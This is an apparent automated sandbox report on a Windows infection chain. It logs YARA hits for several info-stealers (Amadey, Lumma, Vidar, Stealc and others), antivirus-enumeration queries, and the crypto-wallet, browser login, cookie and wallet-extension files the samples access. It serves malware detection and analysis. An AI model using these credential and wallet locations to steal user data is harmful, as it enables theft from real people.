Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\win32 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\Pythonwin VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\pywin32_system32 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\_brotli.cp311-win_amd64.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\zstandard VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\zstandard VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\zstandard VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\zstandard VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI78242\_hashlib.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\10001200101\trano1221.exe VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe

Code function: 13_2_0096A5B5 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

13_2_0096A5B5

Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe

13_2_009461F0

Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe

Code function: 13_2_0097E68E _free,_free,_free,GetTimeZoneInformation,_free,

13_2_0097E68E

Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe

Code function: 13_2_009493D0 GetVersionExW,GetModuleHandleA,GetProcAddress,GetSystemInfo,

13_2_009493D0

Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: UD49QH6.exe, 00000010.00000003.1481927220.0000000001337000.00000004.00000020.00020000.00000000.sdmp, UD49QH6.exe, 00000010.00000003.2079863840.0000000001341000.00000004.00000020.00020000.00000000.sdmp, UD49QH6.exe, 00000010.00000003.2079619439.0000000001315000.00000004.00000020.00020000.00000000.sdmp, UD49QH6.exe, 00000010.00000003.5079116984.000000000131E000.00000004.00000020.00020000.00000000.sdmp, UD49QH6.exe, 00000010.00000003.1481927220.0000000001322000.00000004.00000020.00020000.00000000.sdmp, UD49QH6.exe, 00000010.00000003.1508453490.0000000001337000.00000004.00000020.00020000.00000000.sdmp, UD49QH6.exe, 00000010.00000003.1508453490.0000000001314000.00000004.00000020.00020000.00000000.sdmp, UD49QH6.exe, 00000010.00000003.2079265890.0000000001338000.00000004.00000020.00020000.00000000.sdmp, UD49QH6.exe, 00000010.00000003.5078654939.0000000001317000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadey

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Yara detected Amadeys Clipper DLL

Source: Yara match	File source: 14.2.futors.exe.3e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.0.amnew.exe.940000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.0.futors.exe.3e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.TempYEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE.170000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.0.futors.exe.3e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.amnew.exe.940000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rapes.exe.240000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.M6gQuZPvgY.exe.200000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rapes.exe.240000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1004894456.0000000000201000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1046270812.0000000000241000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.1634294018.0000000000171000.00000040.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1039110891.0000000000241000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\amnew[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe, type: DROPPED

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: UD49QH6.exe PID: 6024, type: MEMORYSTR
Source: Yara match	File source: 48.2.cronikxqqq.exe.3c89550.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 49.2.cronikxqqq.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 49.2.cronikxqqq.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000031.00000002.1772447973.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000002.1789794863.0000000003C89000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Mars stealer

Source: Yara match	File source: 17.2.m0wsoI3.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.0.m0wsoI3.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000002.1518189012.000000000043C000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000000.1442265227.000000000043C000.00000080.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.5645957689.0000000000B1A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.1518022147.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\m0wsoI3[1].exe, type: DROPPED

Yara detected PureLog Stealer

Source: Yara match	File source: 48.2.cronikxqqq.exe.3c89550.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 48.0.cronikxqqq.exe.870000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 48.2.cronikxqqq.exe.3c89550.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000030.00000002.1789794863.0000000003C89000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000000.1635997111.0000000000872000.00000002.00000001.01000000.00000022.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\cronikxqqq[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe, type: DROPPED

Yara detected Stealc

Source: Yara match	File source: 17.2.m0wsoI3.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000002.1518022147.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY

Yara detected Vidar stealer

Source: Yara match	File source: 17.2.m0wsoI3.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000002.1518652176.00000000005BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.1518022147.0000000000401000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: m0wsoI3.exe PID: 5132, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: UD49QH6.exe, 00000010.00000003.1481927220.0000000001337000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum-LTC
Source: UD49QH6.exe, 00000010.00000003.1481927220.0000000001337000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: m0wsoI3.exe, 00000011.00000002.1518652176.00000000005BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Electrum\wallets\
Source: UD49QH6.exe, 00000010.00000003.1507260993.000000000138E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ne","ez":"Jaxx Liberty"},{"en":"fihkakfobkmkjojpchpfgcmhfjnmnfpi","ez":"BitA
Source: UD49QH6.exe, 00000010.00000003.1481927220.0000000001337000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: m0wsoI3.exe, 00000011.00000002.1518652176.00000000005BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: exodus.conf.json
Source: UD49QH6.exe, 00000010.00000003.1467013696.0000000001337000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: m0wsoI3.exe, 00000011.00000002.1518652176.00000000005BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: info.seco
Source: m0wsoI3.exe, 00000011.00000002.1518652176.00000000005BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ElectrumLTC
Source: m0wsoI3.exe, 00000011.00000002.1518652176.00000000005BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: m0wsoI3.exe, 00000011.00000002.1518652176.00000000005BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: passphrase.json
Source: m0wsoI3.exe, 00000011.00000002.1518652176.00000000005BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Ethereum\
Source: UD49QH6.exe, 00000010.00000003.1507260993.000000000138E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: aholpfdialjgjfhomihkjbmgjidlcdno","ez":"ExodusWeb3"},{"en":"onhogfjeacnfoofkD
Source: UD49QH6.exe, 00000010.00000003.1481927220.0000000001337000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: m0wsoI3.exe, 00000011.00000002.1518652176.00000000005BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: file__0.localstorage
Source: m0wsoI3.exe, 00000011.00000002.1518652176.00000000005BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default_wallet
Source: UD49QH6.exe, 00000010.00000003.1466867227.0000000001393000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: m0wsoI3.exe, 00000011.00000002.1518652176.00000000005BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: multidoge.wallet
Source: m0wsoI3.exe, 00000011.00000002.1518652176.00000000005BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: m0wsoI3.exe, 00000011.00000002.1518652176.00000000005BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: seed.seco
Source: UD49QH6.exe, 00000010.00000003.1481927220.0000000001337000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore
Source: m0wsoI3.exe, 00000011.00000002.1518652176.00000000005BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \Electrum-LTC\wallets\

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\key4.db
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\logins.json
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\10001960101\cronikxqqq.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
